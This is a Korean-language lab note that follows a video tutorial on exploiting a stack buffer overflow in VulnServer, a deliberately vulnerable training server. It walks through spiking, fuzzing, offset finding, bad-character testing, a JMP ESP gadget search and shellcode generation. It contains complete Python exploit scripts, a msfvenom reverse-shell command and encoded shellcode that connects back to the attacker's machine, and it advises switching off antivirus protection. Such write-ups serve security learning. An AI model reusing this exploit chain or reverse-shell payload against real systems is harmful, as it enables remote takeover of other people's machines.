Buffer Overflow Practice
Working through a full stack-overflow methodology on VulnServer: spiking, fuzzing, offset, bad characters, module, shellcode.
https://www.youtube.com/watch?v=ncBblM920jw
이 영상에서는 attack machine & victime machine 을 사용할것이다. victim machine 는 윈도우여야만 한다. Attack Machine (공격자 머신) 침투테스트나 보안 실습을 진행하는 공격 도구가 설치된 컴퓨터 보통 Kali Linux, Parrot OS 같은 침투테스트 전용 배포판 사용 msfvenom, Metasploit, nmap 같은 도구들이 여기 설치되어 있음 여기서 페이로 드를 만들고, 공격 시도를 “실행”하는 쪽 Victim Machine (피해자/타겟 머신) 공격 대상이 되는 테스트용 컴퓨터 예: Windows XP, 오래된 소프트웨어가 설치된 VM 등 일부러 취약점이 있는 상태로 구성해서 “당하는” 역할 실제 서비스 중 인 시스템이 아니라, 격리된 실습 환경(가상머신)인 경우가 일반적


여기서 일반적으로 유저의 인풋은, buffer space 까지만 있는게 일반적이지만, 버퍼 오버플로우의 경우 eip 까지 덮을수 있된다. 즉 return address 까지 조작할수있게 된다는것이다.
steps to conduc a bof
- spiking (method that hacker use to find a vulnerable part of a program)
- Fuzzing (스파이킹은 어디가 취약한가를 찾지만, 퍼징은 실제로 어떤 인풋이 크래시를 일으키는지 봅니다)
- Finding the offset
- overwriteing the eip
- finding bad character (어떤 바이트가 문제를 일으키는지 확인)
- finding right module (보호 기능이 없는 모듈을 찾기. 즉 각 모듈을 조사하여, 어떤 보호기법이 되어있는지 찾 아본다)
- generating shellcode
- Root!(공격 성공 확인 PoC)
Spicking
유튜브는 본격적 해킹에 들어가기전, windows defender real time protection 을 꼭 꺼야한다. (나중에 꼭 다시 키도록 합시다) 그 후, vuln program 이랑 immunity dbg 를 둘다 관리자 권한으로 킨 후 디버거에 파일을 어태치 시킨다.

그만 실행시키고, 칼리 리눅스 머신으로 옮깁시다. Kali(공격자 역할) 쪽에서 넷켓을 사용해 window 의 vuln_server 프 로그램에 연결합시다.
vulnserver 프로그램의 소스코드를 보면, 코드 안에 포트 9999를 쓰도록 박혀있어요 (하드코딩). 그래서 nc -nv 192.168.142.1 9999 BOF(Buffer Overflow) 실습에서 나오는 TRUN은 보통 VulnServer라는 의도적으로 취약하게 만들어진 학습용 프로그램 의 명령어입니다. VulnServer에 접속하면 여러 명령어를 사용할 수 있는데, 그중 하나가 TRUN입니다.
• ◦ 예를 들어: TRUN hello
처럼 입력하면 서버가 hello를 처리하려고 합니다. 문제는 VulnServer의 TRUN 기능이 입력 길이를 제대로 검사하지 않 도록 만들어져 있어서, 너무 긴 문자열을 보내면 프로그램이 비정상 종료(crash)될 수 있습니다.
generic_send_tcp는 Immunity Debugger의 Mona 플러그인이나 일부 BOF 강의에서 사용하는 테스트용 TCP 클라이 언트 스크립트입니다. 쉽게 말하면: 내 컴퓨터 → 취약한 서버(VulnServer)로 데이터를 보내주는 간단한 도구입니다.
예를 들어 Netcat으로는: nc 192.168.1.100 9999 처럼 접속해서 직접 입력할 수 있는데, BOF 실습에서는 수백~수천 개의 A 문자를 보내야 하므로 자동화된 스크립트를 사용합니다.

전체 동작 흐름:
- 서버 접속 → 배너 한 줄 읽고 버림
- “STATS” 고정 전송
- 그 뒤에 이어붙여서 681개의 변종 문자열을 하나씩 전송 (예: STATS AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA…)
- 서버가 특정 문자열에서 죽으면(크래시) → Immunity Debugger가 캐치
즉 이 스크립트는 **“STATS 명령어 뒤에 붙는 인자 부분에 vulnserver가 취약한지”**를 테스트하는 용도입니다. STATS 대신 TRUN, GMON 등 다른 명령어로 바꿔서 같은 방식으로 각각 테스트해보는 게 vulnserver 취약점 분석의 일반적인 순서입니다.
예시: generic_send_tcp 192.168.1.100 9999 spike.spk 0 0 의 의미는 대략:
- 192.168.1.100 → 대상 서버 IP
- 9999 → VulnServer 포트
- spike.spk → 보낼 데이터가 들어있는 Spike 스크립트
- 나머지 숫자 → Spike 옵션
generic_send_tcp 192.168.142.1 9999 stats.spk 0 0 를 그래서 넣고 돌리면…

그 후

이것도 돌린다. 이번엔 STATS 명령어가 아니라 TRUN 명령어의 인자 부분을 퍼징하는 스크립트이다. 여기에는 access violation 이 뜨면서 갑자기 immunity dbg 가 바뀐다. 코드로 직접 비교 STATS (안전함): c} else if (strncmp(RecvBuf, “STATS ”, 6) == 0) { char *StatBuf = malloc(120); memset(StatBuf, 0, 120); strncpy(StatBuf, RecvBuf, 120); // ← strncpy: 120바이트로 길이 제한됨 strncpy(dest, src, 120) → 최대 120바이트까지만 복사합니다. 아무리 긴 문자열을 보내도 120바이트 이후는 잘려서 버퍼를 넘치게 하 지 않습니다. 그래서 SPIKE로 아무리 긴 문자열을 넣어도 안전하게 무시됩니다. TRUN (위험함): c} else if
(strncmp(RecvBuf, "TRUN ", 5) == 0) { char *TrunBuf = malloc(3000); memset(TrunBuf, 0, 3000); for (i = 5; i
< RecvBufLen; i++) { if ((char)RecvBuf[i] == '.') { strncpy(TrunBuf, RecvBuf, 3000); Function3(TrunBuf); // ←
3000바이트짜리 데이터를 이 함수에 넘김 break; } } 그리고 Function3: cvoid Function3(char *Input) { char Buffer2S[2000]; // ← 스택에 2000바이트짜리 지역 버퍼만 있음 strcpy(Buffer2S, Input); // ← strcpy: 길이 제한이 전혀 없음!!
} 여기가 문제입니다: TrunBuf는 최대 3000바이트를 담을 수 있는데 그걸 받는 Function3 내부의 Buffer2S 는 스택에 겨우 2000바이트밖에 없습니다 그런데 복사할 때 쓰는 함수가 strcpy — 이건 길이 제한이 전혀 없이 널문자 (\0)가 나올 때까지 무조건 다 복사합니다 즉 2000바이트짜리 그릇에 최대 3000바이트를 들이부으니, 넘치는 부분(약 1000바이트)이 스택의 다른 영역을 덮어씁니다 — 여기에는 함수가 끝나고 돌아갈 주소(리턴 주소)도 포함되어 있어서, 이걸 덮어쓰면 프로그램 실행 흐름을 공격자가 원하는 대로 조작할 수 있게 됩니다. 이게 스택 버퍼 오버플로우입니다.

이 사진에서 eip 값이 덥혔다. 즉, next address 를 (프로그램의 플로우를) 해커가 조작할수있게 된다. Fuzzing
이제 같은 취약점을 찾아내는 일을, 다른 방법, 즉 퍼징으로 할거다. AFL 로 했던 보통 퍼징들과 다르게, 이 영상에서는 이 유튜버가 만든 파이썬 스크립트로 퍼징을 한다 했다. 유튜버는 파이썬 2 로 써서 나는 3으로 문법 바꿔서 다시 썻다.
#!/usr/bin/python3
import sys, socket
from time import sleep
buffer = "A" * 100
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.142.1', 9999))
s.send(('TRUN /.:/' + buffer).encode())
s.close()
sleep(1)
buffer = buffer + "A" * 100
except:
print("Fuzzing crashed at %s bytes" % str(len(buffer)))
sys.exit()
코드 원리를 대충 설명 하자면, 이 스크립트는 앞서 만든 trun.spk(SPIKE)와 목적은 같지만, 직접 Python 소켓으로 구현 한 커스텀 퍼저입니다. TRUN 명령어에 점점 더 긴 문자열을 보내면서 정확히 몇 바이트에서 서버가 죽는지 찾아냅니다.

라고 하네요~~ finding offset
오프셋은 지난번과 같이 모나라는 툴로 patter_create 을 통해 찾을것같다. 참고로 이 명령어가 하필 3000 을 만드는 이 유는 지난번에 크래시까지 2500 에 바이트를 사용했기 때문이다. 걍 반올림 했다.

그리고 파이썬 코드를 다시 이용해 넣어주면…
#!/usr/bin/python3
import sys, socket
from time import sleep
offset = "Aa0Aa1Aa2Aa3Aa4Aa5..." # (De Bruijn 패턴, 원래 내용 그대로)
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.142.1', 9999))
s.send(('TRUN /.:/' + offset).encode())
s.close()
print("Payload sent, length: %d" % len(offset))
except:
print("Could not connect or send payload")
sys.exit()
이뮤니티 버거가 access violation 으로 멈추는 것을 볼수있다. 유저 인풋부터 eip 까지에 오프셋을 얻는거기에, eip 값을 패턴에서 찾으면 된다.

그 값을 사용하면 eip 까지 오프셋이 2003 인걸 알수있다.

overwriting the eip
이 코드는 오프셋, 그 전에 데이터들을 다 a 로 채운다음에 eip 만 b 4개로 채움. 즉 overwrite eip with b’s bytes.


성공이다. eip 바로 전에 공간인 ebp 까지는 다 A (41) 인데, 딱 ebp 4바이트만 B, 즉 42 값이다. Finding Bad Characters
“Bad character(배드 캐릭터)“를 찾는 단계는 버퍼 오버플로우 익스플로잇 개발 과정에서 필수적인 검증 단계입니다. 왜 필요한지 설명드릴게요. 오프셋(EIP까지의 정확한 거리)을 찾은 다음 단계는, EIP를 덮어써서 쉘코드(공격자가 원하는 실행 코드)로 점프시키는 것 입니다. 이때 쉘코드를 페이로드 안에 실어서 서버로 보내야 하는데, 여기서 문제가 생깁니다.
모든 바이트 값(0x00 ~ 0xFF)이 안전하게 전달되는 건 아닙니다. 프로그램이 데이터를 처리하는 방식에 따라 특정 바이 트 값이 오면:
- 데이터가 잘리거나(truncate)
- 다른 값으로 바뀌거나(변형)
- 문자열의 끝으로 오해되거나
해서, 원래 보낸 쉘코드가 메모리에 온전한 형태로 도착하지 않게 됩니다.
대표적인 배드 캐릭터 예시 0x00 (널 바이트)
- C에서 strcpy, strncpy 같은 문자열 함수는 0x00을 문자열의 끝으로 인식합니다.
- vulnserver 코드 기억하시죠 — strcpy(Buffer2S, Input) 이런 부분들. 만약 쉘코드 중간에 0x00이 하나라도 있 으면, 그 지점에서 복사가 뚝 끊겨버립니다. 뒤에 있는 쉘코드는 아예 전달이 안 됩니다.
0x0A (줄바꿈, LF), 0x0D (캐리지리턴, CR)
• vulnserver는 recv()로 데이터를 받는데, 네트워크 프로토콜이나 파싱 로직에 따라 이런 개행 문자를 줄의 끝으 로 처리해서 데이터가 잘릴 수 있습니다.
하지만, 이 단계를 건너뛰고 바로 쉘코드를 넣으면:
- 쉘코드 안에 우연히 0x00이나 다른 배드 캐릭터가 섞여 있는 경우
- 익스플로잇 코드는 맞게 짰는데도 크래시는 나는데 쉘코드가 실행이 안 되는 상황이 발생합니다.
- 이럴 때 원인 파악이 매우 까다롭습니다 (오프셋이 틀렸나? 리턴 주소가 틀렸나? 왜 안 되지? 하면서 헤맴)
그래서 미리 0x01부터 0xFF까지 모든 바이트 값을 순서대로 페이로드에 넣어서 보내고, 크래시난 후 메모리(스택)를 덤 프해서 어떤 바이트가 누락되거나 변형됐는지 눈으로 직접 확인하는 겁니다. 이걸 통해 “이 서버로 보낼 땐 0x00, 0x0A, 0x0D는 피해야 한다”는 걸 미리 알아내고, 나중에 실제 쉘코드를 생성할 때(msfvenom 등) -b 옵션으로 이 문자들을 자 동으로 제외시킵니다.
https://github.com/cytopia/badchars

GitHub - cytopia/badchars: Bad char generator to instruct encoders such as shikata-ga-nai to transform those to other chars. Bad char generator to instruct encoders such as shikata-ga-nai to transform those to other chars. - cytopia/ badchars github.com 이 도구는 새로운 개념이 아니라, 앞서 설명드린 “배드 캐릭터 찾기” 단계에서 직접 \x01\x02…\xff를 손으로 타이핑 하는 대신 자동으로 뽑아주는 편의 도구입니다. 이걸로 생성한 문자열을 페이로드에 끼워 넣고 크래시시킨 뒤, 메모리 덤 프와 원본을 비교해서 배드 캐릭터를 찾는 실습으로 이어집니다.
뭐 그냥 안에 있는 파이썬 bad chars 리스트를 카피엔 페 이스트 하면되고, 굳이 다운로드 할 필요 없습니다.
#!/usr/bin/python3
import sys, socket
from time import sleep
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
shellcode = "A" * 2003 + "B" * 4 + badchars
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.142.1', 9999))
s.send(('TRUN /.:/' + shellcode).encode('latin-1'))
s.close()
except:
print("Could not connect or send payload")
sys.exit()
EIP 이후에 이어붙여서, 이 바이트들이 메모리에 깨지지 않고 그대로 들어가는지 확인함.
(진행 방식)
- 이 스크립트를 실행 → vulnserver 크래시 발생
- Immunity Debugger(화면에 보이는 그 창)에서 크래시 시점의 ESP(스택 포인터)가 가리키는 메모리를 확인
- \x01\x02\x03… 순서대로 깨끗하게 다 들어가 있는지 육안으로 비교
- 중간에 순서가 어긋나거나, 값이 바뀌거나, 사라진 바이트가 있으면 → 그 바이트가 bad character
- 배드캐릭터 발견 시 → badchars에서 그 바이트를 제거하고 스크립트 재실행 → 반복해서 완전히 깨끗한 목록 확보

이 화면에서 어세스 바이올레이션이 나면, esp 를 우클릭후 follow in dump 한다.

bad chars 없다. 다 맞는 자리에 맞는 순서로 있다.

참고로 이건 그냥 유튜브에서 보여주는 예시인데, 이런식으로 wrong characters 가 같은게 여러게 나오면, 첫번째 빼고 나머지는 괜찮은거다. 그러니까 04만 빼도 된다는거.. finding the right modules
finding the right modules means looking for a dll or something simmilar inside of a program that has no meomory protections. (eg. no dep or aslr or etc) 전체적은 finding right module 의 기본지식이 불확실해서 챗지피티한테 물어보고왔다. 왜 JMP 오피코드(예: JMP ESP)가 필요한가? 버퍼 오버플로우로 리턴 주소(EIP)를 덮어써서 원하는 코드로 실행 흐름을 옮기는 것이 목표입니다. 보통 여러분의 쉘코드는 스택 위, EIP 바로 다음 위치(즉 ESP가 가리키는 곳)에 놓이게 됩니다. 문제는: EIP를 쉘코드의 정확한 스택 주소로 직접 덮어쓰는 것은 어렵습니다.
왜냐하면 스택 주소는 실행할 때마다 조금씩 바뀔 수 있고(ASLR, 환경 차이 등), 정확한 하드코딩 주소는 신뢰성이 떨어지기 때문입니다. 그래서 대신 이렇게 합니다: EIP를 JMP ESP 명령어가 위치한 주소로 덮어씁니다. 프로그램이 그 주소로 점프하면, CPU가 JMP ESP를 실행합니다. JMP ESP는 “ESP가 가리키는 곳으로 점프해라” = 즉 스택 맨 위, 여러분의 쉘코드가 있는 곳으로 점프합니다. 이렇게 하 면 정확한 쉘코드 주소를 몰라도, 간접적으로(ESP를 경유해서) 항상 쉘코드로 도달할 수 있어 훨씬 안정적입니다. 왜 “right module” 찾기와 연관되나?
JMP ESP 같은 오피코드는 프로그램이 로드하는 DLL/모듈들 안 어딘가에 이미 존재합 니다 (우리가 새로 만드는 게 아니라, 기존 코드 안에서 찾아 재활용하는 것 — 이걸 “return-to-libc” 또는 “return- oriented” 기법의 기초라고 보시면 됩니다). 그런데 아무 모듈에서나 찾은 JMP ESP 주소를 쓰면 안 됩니다. 조건이 있습 니다: Rebase = False (ASLR 꺼짐) → 주소가 매번 안 바뀌고 고정됨 SafeSEH = False → SEH 기반 우회 시 필요 ASLR = False NXCompat = False (DEP 꺼짐) → 있으면 스택에서 쉘코드 실행이 막힐 수 있음 가능하면 써드파티 DLL을 선호 (윈도우 시스템 DLL은 최신 OS일수록 저 보호기법들이 다 켜져 있는 경우가 많음) mona.py 뭔가?
mona.py는 Immunity Debugger에서 쓰는 파이썬 익스플로잇 개발 보조 플러그인입니다. 원래 이름은 “Corelan Team”이 만든 mona.py이고, 버퍼 오버플로우/익스플로잇 개발 작업을 훨씬 편하게 만들어주는 자동화 도구입니다. 왜 필요한가 Immunity Debugger 자체만으로는 메모리 덤프를 눈으로 일일이 훑어보며 배드캐릭터 찾기, 가젯 주소 찾기 같은 걸 수 작업으로 해야 합니다. mona.py는 이런 반복작업을 명령어 한 줄로 자동화해줍니다. Immunity Debugger 커맨드 창에 입력하면: !mona modules 현재 프로세스에 로드된 모든 DLL/모듈 목록을 보여주면서, 각 모듈이 다음 보호 기법들을 갖 고 있는지 표시합니다. 여기 우리 dbg 에 !mona module 의 결과이다

우리는 vuln server 자체에 붙어있는(연결된/부착된) 모듈을 찾고있다. 여기 첫줄을 보면 vuln server 에 부착되어있는 모 듈이면서, 보호 기법이 다 false 인 (해당된 보호기법이 없음) dll 이 있다. 자세히 보세요:
0x62500000 | 0x62508000 | 0x00008000 | False | False | False | False | False | False | -1.0 [essfunc.dll]
(C:\Users\sm\Desktop\vulnserver-master\essfunc.dll) 0x0
이제 칼리 리눅스로 옮겨 셸에서

이 스크린샷은 Metasploit의 nasm_shell.rb 툴을 사용해서 JMP ESP 명령어의 **기계어 opcode(FF E4)**를 확인하는 과정이다. 즉 jmp esp 의 opcode (기계어) 는 FFE4 라는걸 알수있다. 이걸 알아내는 이유는 메모리를 스캔해서 실제 JMP ESP 명령어가 있는 주소를 찾으려면, 먼저 그 명령어가 바이트 패턴으로 어떻게 생겼는지 알아야 하기 때문이다. 이 후 이 FF E4 바이트 패턴을 아까 찾은 취약한 DLL 에서 검색해서, 실제로 사용할 리턴 주소를 찾는다.

이렇게 다시 모나로 찾아본다.
총 9개의 JMP ESP 가젯을 essfunc.dll 안에서 찾았습니다 “Number of pointers of type ’“\xff\xe4”’ : 9” 찾은 주소 들 (일부):
• 0x625011af
• 0x625011bb
• 0x625011c7
• 등등…
위에 내용을 사용해 코드를 짜보았다.
#!/usr/bin/python3
import sys, socket
from time import sleep
# 625011af 를 리틀엔디언으로 뒤집어 EIP 자리에 ret 가젯 주소를 넣는다
shellcode = "A" * 2003 + "\xaf\x11\x50\x62"
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.142.1', 9999))
s.send(('TRUN /.:/' + shellcode).encode('latin-1'))
s.close()
except:
print("Could not connect or send payload")
sys.exit()
보면 알겠지만, JMP ESP 가젯을 리틀 인디안 포맷으로 오프셋 뒤에 넣었다. 즉 eip (next move) 가 JMP ESP 가되고 실 행될것이다. 다시 이뮤니티 디버거에 가서,

를 눌러준다.

이런 창이 뜰텐데, 아까 찾은 가젯에 주소를 넣고 ok 를 누른다. 그러면, 그 주소로 옮겨지는데 F2 를 눌러 브레이크 포인 트를 걸어준다. 그후 다시 프로그램을 run 하고 칼리에서 아까 코드를 실행해주면 eip 가 바뀐걸 알수있다.

generating shellcode & gaining root
msfvenom은 Metasploit 프레임워크에 포함된 도구로, 한마디로 **“악성코드(페이로드)를 만들어주는 도구”**다.
└─# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 EXITFUNC=thread -f c -a
x86 -b “\x00” -p : setting payload for window machine cause we’re attacking a window machine shell reverse tcp : we’re having to victim connect back to target mchine. therefore there should be our information” LHOST : ip address of kali machine LPORT : kali (attack machine’s) ‘s port -b “\x00” : giving list of bad characters that computer should avoid.

타겟(Windows/vulnserver)의 cmd.exe를 원격으로 조종할 수 있게, 그 입출력을 칼리(공격자)의 화면으로 가져오는 셸 코드다. 이해랄라면 밑에를 보라. [타겟 Windows 서버] [칼리 리눅스 (공격자)] vulnserver 실행 중 192.168.1.10 (취약점 존재) 1. 오버플로우로 셸코드 실행 2. 셸코드가 실행하는 일: ① cmd.exe 프로세스를 생성 ② 192.168.1.10:4444로 2. nc -lvnp 4444 (또는 TCP 연 결 시도 ────────────? msfconsole의 handler) ③ cmd.exe의 입력/출력을 로 미리 “대기”하고 있음 그 TCP 연결에 연결(redirect) 3. 연결 수신!
→ 이제 칼리 터미널에 타겟의 cmd.exe 프롬프트가 그대로 뜸 이건 괜찮은데, 유튜버 스앵님이 다른 버퍼 오버플로우 해킹을 할때 페이로드 사이즈를 신경 쓰라하신다. 왜냐하면~~~ 바이트를 넣을수있는 길이가 한정되어있으니까. 늘 페이로드 사이즈를 주시하고 노트하자.
#!/usr/bin/python3
import sys, socket
from time import sleep
overflow = (
"\xbf\x71\x36\xd7\xc2\xda\xd4\xd9\x74\x24\xf4\x5a\x2b\xc9"
"\xb1\x52\x83\xea\xfc\x31\x7a\x0e\x03\x0b\x38\x35\x37\x17"
"\xac\x3b\xb8\xe7\x2d\x5c\x30\x02\x1c\x5c\x26\x47\x0f\x6c"
"\x2c\x05\xbc\x07\x60\xbd\x37\x65\xad\xb2\xf0\xc0\x8b\xfd"
"\x01\x78\xef\x9c\x81\x83\x3c\x7e\xbb\x4b\x31\x7f\xfc\xb6"
"\xb8\x2d\x55\xbc\x6f\xc1\xd2\x88\xb3\x6a\xa8\x1d\xb4\x8f"
"\x79\x1f\x95\x1e\xf1\x46\x35\xa1\xd6\xf2\x7c\xb9\x3b\x3e"
"\x36\x32\x8f\xb4\xc9\x92\xc1\x35\x65\xdb\xed\xc7\x77\x1c"
"\xc9\x37\x02\x54\x29\xc5\x15\xa3\x53\x11\x93\x37\xf3\xd2"
"\x03\x93\x05\x36\xd5\x50\x09\xf3\x91\x3e\x0e\x02\x75\x35"
"\x2a\x8f\x78\x99\xba\xcb\x5e\x3d\xe6\x88\xff\x64\x42\x7e"
"\xff\x76\x2d\xdf\xa5\xfd\xc0\x34\xd4\x5c\x8d\xf9\xd5\x5e"
"\x4d\x96\x6e\x2d\x7f\x39\xc5\xb9\x33\xb2\xc3\x3e\x33\xe9"
"\xb4\xd0\xca\x12\xc5\xf9\x08\x46\x95\x91\xb9\xe7\x7e\x61"
"\x45\x32\xd0\x31\xe9\xed\x91\xe1\x49\x5e\x7a\xeb\x45\x81"
"\x9a\x14\x8c\xaa\x31\xef\x47\x15\x6d\x61\x16\xfd\x6c\x7d"
"\x08\xa2\xf9\x9b\x40\x4a\xac\x34\xfd\xf3\xf5\xce\x9c\xfc"
"\x23\xab\x9f\x77\xc0\x4c\x51\x70\xad\x5e\x06\x70\xf8\x3c"
"\x81\x8f\xd6\x28\x4d\x1d\xbd\xa8\x18\x3e\x6a\xff\x4d\xf0"
"\x63\x95\x63\xab\xdd\x8b\x79\x2d\x25\x0f\xa6\x8e\xa8\x8e"
"\x2b\xaa\x8e\x80\xf5\x33\x8b\xf4\xa9\x65\x45\xa2\x0f\xdc"
"\x27\x1c\xc6\xb3\xe1\xc8\x9f\xff\x31\x8e\x9f\xd5\xc7\x6e"
"\x11\x80\x91\x91\x9e\x44\x16\xea\xc2\xf4\xd9\x21\x47\x6f"
"\xfe\xf8\x48\xf8\xa7\x6f\x15\x64\x58\x5a\x5a\x91\xdb\x6e"
"\x23\x66\xc3\x1b\x26\x22\x43\xf0\x5a\x3b\x26\xf6\xc9\x3c"
"\x63"
)
shellcode = "A" * 2003 + "\xaf\x11\x50\x62" + "\x90" * 32 + overflow
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.142.1', 9999))
s.send(('TRUN /.:/' + shellcode).encode('latin-1'))
s.close()
except:
print("Could not connect or send payload")
sys.exit()
스택 (낮은 주소 → 높은 주소)
┌──────────┬──────────────┬─────────┬──────────┐
│ A x2003 │ EIP(JMP ESP) │ NOP x32 │ 셸코드 │
└──────────┴──────────────┴─────────┴──────────┘
↑
RET 실행 후 ESP 가 가리키는 위치
(JMP ESP 실행 시 여기로 점프된다)
↑ RET 실행 후 ESP가 가리키는 위치 (JMP ESP 실행 시 여기로 점프됨) 이 상태로, nc -nvlp 4444 를 켜놓고, 윈도우에서 vuln program 을 관리자 모드로 키고, 그 후 칼리에서 2.py 를 실행 시 켰다.

그럼 이렇게 타켓 프로그램의 cmd 를 갖게된다. 끝!!!!!!